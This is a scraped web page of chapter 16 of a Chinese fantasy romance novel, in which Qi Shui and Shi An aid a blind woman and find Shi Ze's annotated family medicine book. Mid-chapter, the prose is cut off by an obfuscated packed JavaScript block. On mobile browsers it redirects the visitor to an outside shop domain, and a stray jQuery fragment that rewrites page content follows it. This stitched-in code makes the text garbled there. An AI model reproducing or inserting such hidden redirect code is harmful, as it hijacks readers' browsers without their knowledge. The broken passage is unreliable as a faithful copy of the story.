(十六)
女人眉头紧了一下,叹了口气,缓缓说道,
“说来,也不怕你们耻笑,我本是瞎子,也没想着还能在这世上被人看见,独独那陈家少爷陈宣,对我情有独钟,不久,我们就定了情。后来才得知,他因为联姻,有了未婚妻,我要是再徘徊,那不失了体面。那日,我便约他出来说清楚,却刚好被他的表哥,陈家另一个公子看见,那人早就厌恶陈宣多日,好不容易挑到点毛病,赶紧添油加醋地便和陈家家主说了去,后来陈家家主大怒,将他送了出去,还派他表哥来处理这件事,从此,我就没有一天安生日子。”
“他偏造谣说什么我在赌场欠了钱,还有模有样地拿着一堆我见都见没过的证据当街羞辱我,后来还大打出手,爷爷也受了牵连。”
“再后来,陈家派了一个人出来,跟我说,掩护我逃出去,但是要把爷爷留在这,等我找到时泽把他带过来,保我们一生平安。”
“现在想来我真蠢,那人说不定是伪装的,我不就活活被利用了,现在爷爷怎么样也不知道,还有时家大少爷,我真是对不住他。”
女人一边说,一边情绪又激动地开始抽泣。
祁水脑海里一想,中秋节的打糕大爷,也说过自己有这么个孙女,和自己年龄差不多大,眼前这个人看来,确实很像。
“你爷爷是不是经常在街市上卖打糕,姓王。”
祁水柔声说道,小心翼翼地生怕哪句话伤到女人。
女人一听,似是找到了救星,一把抓住祁水,不停地点着头。
“姑娘,你这是见过我爷爷,他怎么样,还在华中城吗,有没有被那帮人迫害。”
祁水回想起中秋王老头的那般境地,实在有些不忍心,说道,
“放心,他过得很好,他在等你回家。”
女人似是抓到了救命稻草,擦了擦眼泪,双手紧紧握住祁水,
“姑娘,如果你愿意带我回去,我下半辈子,给你当牛做马。”
祁水的手也紧紧握住了女人,帮她梳理好头发,
“不用你报答我,好好同爷爷生活就行。”
时安在一旁思索,曾经时泽虽然说是花花公子,但起码也是有道德底线,没见过得罪哪家公子,这个什么陈家,更是没听说过,那日中秋在街市上,大打出手的人,应该就是陈宣表哥,显然并不知道女人离开的事实,甚至所有人都以为,她死了,明显要找他的人,不是陈家的。
还有时泽,反应倒是很平常,似是知道有人在找他。黑山窑的结界很厉害,那人应该也没能得逞,所以时泽并未在意,也到说得过去,只是将人姑娘家家,还是一个人,放在云湖,确实有些不地道。
“他把你放在云湖,可曾说过什么。”
时安对着女人问道。
女人想了一会,似是刚才情绪太激动,落了什么重要信息,赶紧补充道,
“哦,他说外面危险,我一个姑娘家家的,还瞎了,好好在云湖生活,别乱跑,他给我安置在了一个屋子里,然后就走了。”
女子说完指了指不远处一个非常隐蔽的树林中,确有一间屋舍。
……
时安打算独自过去看看,便留简寻在原地帮忙照看一下,又把玄武剑物归原主还给了祁水,自己走了进去。
绿意盎然下,阵阵芳香袭来,一簇簇白花点缀在其中,看起来虽不突兀,但却有些奇怪,似是某种标记。
这白花是时家种的,外界很少有人种,最主要的,还是因为这花,是三香中的重要成分。
推开屋舍,里面的家具错落有致,摆放地很有秩序,却稍稍有些杂乱,应该是女人住在里面,眼睛看不见,总是不小心碰乱的缘故。
时安站在窗子前,向外面望去,竟然正正好好,可以看见十五年前自己立在那的木刻,如果当年时泽也在这,那一定看到了祁水自戕。
眼前这个屋舍,外面看起来陈旧些,里面却是被打理地很好,十五年前,应该还没有那么好的陈设,而是时泽后来时常来这,慢慢添置好的。
时安又顺着楼梯爬上二楼,一层层沾灰的书架,和楼下俨然不同,形成鲜明的对比,很明显,楼上几乎没有人来。
女子眼瞎,没事应该不会来二楼,至于时泽,或许在离开时家后,就彻底与药理书籍脱了联系,毕竟当年在家,就经常逃学。
时安边走边观察着,书架上都是些很平常的书,没什么特别的,唯独这一本,有些不一样。
时安停下了脚步,从书架最底部拿出那本书,在几乎全都落灰的书封中,它显得很特别,书封干净许多,而且书面微微泛黄,看得出来经常有人翻起。
时安翻开了书,视线不经停在了第一序列页许久。
《济世药理》:
那书上的标签,作者栏,赫然写着—时泽。
熟悉的字迹在第一页,写了四行字。
时家长子,润泽天下,万灵敬仰。
时家长子,医术精湛,妙手回春。
时家长子,蓄意破世,天下大乱。
时家长子,离经叛道,遂逐时门。
《济世药理》是时家代代相传,每一辈有新的研究突破都会记录在册。
在这本和家族有着巨大牵连的书上,时泽记下了自己的前半生。
看来他始终都没放下……
时安又往后继续翻,翻到了最后一页,一个明显被折过的痕迹。
时不尘——三香回丹。
时不尘是时家家主的名字,却被时泽用笔圈了起来。
时安缓缓放下书,归于原位后,有些沉重地走了出去。
时安走出屋宅,若无其事地回到小路边,盯着女人端详了一会,未见异常,确实是个瞎了的,从一系列反应来看,也确实没有异常。
刚刚偷偷按下怀表,用读心术试了一下,女人的心率很平稳,虽说看不出女人的心意,但是读心术可以测出对方有没有说谎。女人并未撒谎。
祁水缓缓站起了身,察觉到了时安的反常,准确来说,从屋舍出来后,虽同往日般冷漠,却多了一丝说不上来的奇怪,有一种不想接受什么,却又不得不去靠近的局促。
“我猜,时泽只是引子,真正目的,是引你过来,毕竟真正能接触到审判庭的,不是时泽,是你。”
自从时泽被赶出时家后,自然审判庭的一切事务都与他无关了,未来审判庭的接班人,也只能是时安了。
时安的视线和祁水对上,点了点头。
“引我们过来。”
女人可听不懂两人在说什么东西,什么审判庭什么引子的,夹杂着华中城方言对两人说道,
“大恩人,你们在说什么捏。”
“没事,阿瑶,你只管跟着我们,带你回华中城团聚便是。”
祁水笑着答道,在时安进去的那阵子,祁水已经问到了女人的名字,王瑶,所以唤她阿瑶。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023751|147462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
玄武剑在此处的反应,祁水心里已经明白,这里应该就是自己十五年前自戕玄武剑自毁的地方。
那是一段痛苦的记忆,心里的愁绪百般阻扰,这段记忆都回来了,她想起来了,自己在这,握着时安的手,说出的话。
过去那段值得被缅怀的记忆,在自己看来,却是无解,新天究竟有没有保住,是不是还折进去一个云湖,她都不知道,审判庭的人到底会不会收手,自己的死到底有没有意义。
如果再让她选一次,她定不会用表面上那么英勇的方式去解决,她不会轻易离开,哪怕硬撑到底。
可若是要问,到底出不出手保护新天,她的答案定是,会。
两个人的心里都有了心事,一路上都沉默不语,简寻拉着阿瑶走在前面,回客栈的路被走了很久。
祁水看了看现在的云湖,在这片小天地里,渺渺炊烟升起,大家都过着知足常乐的生活,又想到黑山窑的人,不知是不是新天那批人,也过得潇洒自在,至于华中城,也很有秩序,那里的人好像过得也不错。
新天人都在这几处吗,还有没有在别处,过得不好的,是因为她自戕,没能保护好她们吗。
祁水心里的心绪很复杂。
“新天人都在华中城,一部分去了黑山窑,现在云湖的基本都是当年的土著,大家过得都很好。”
时安怎么会不知道祁水的心思呢。
“就像当年你解答了我的困惑一样,我对你,知无不言。”
时安又补充道。
祁水缓缓舒了口气,随后想到了什么,开口道,
“现在可以确定,转生我的人,不是时泽。”
时安“嗯”了一声,时泽没有心思做局,更对什么权势富贵无感,可能一切拥有的太简单,所以从来不想争什么。贼喊捉贼的事情,他做不出来,所以不可能找人拿自己当引子,就为了引时安入局。
但是时家现在的情形,却开始复杂了。时安收着自己的心绪,尽量不让祁水察觉到自己的异常。
毕竟时家的这些东西,看起来太复杂了,如果真的有什么利益牵扯,那他宁愿和祁水划清界限保护她,也不想让她陪自己冒险。
毕竟从来没有怀疑过时家家主,更没有怀疑过时泽,现在看来,一切是真的要推倒重来了。
时安心里盘算着,当初和祁水签订的契约,唯有一种方式毁约,那便是二人不再同心,心室里解约的清茶自己还留着,只要用同样的方式,签名,清茶,燃纸,契约自然就解除了。
时家家主教给他和时泽的第一课,不要轻信他人,若是被迫签订契约,可以最极端的方式自行毁约,要么自杀,要么杀死对方。
时安显然只能选择最温和的第一种方式,他不能死,审判庭,华中城,不能没有他。祁水更不能死,她远比他要更加珍贵。
显示器,玄武剑都归主了,想必不久,祁水也会重拾剑法,再次成为那个万众瞩目的侠女,到时候她只管云游江湖,行侠仗义就好。
千万不要再来淌时家这摊浑水,更不要再陷入,审判庭纷争了。
时安再次侧眸浅浅地看了眼祁水,这场短暂的合作就要结束了,再有不舍,也不得不为,再多记住她一点,如果以后再遇到,他想先她一步,说出一句,好久不见。
兴许是那一眼实在是太浅了,比风吹过发梢留下的痕迹还小,祁水并未知晓,旁边这个外表冷漠却心底热烈的人复杂的思绪。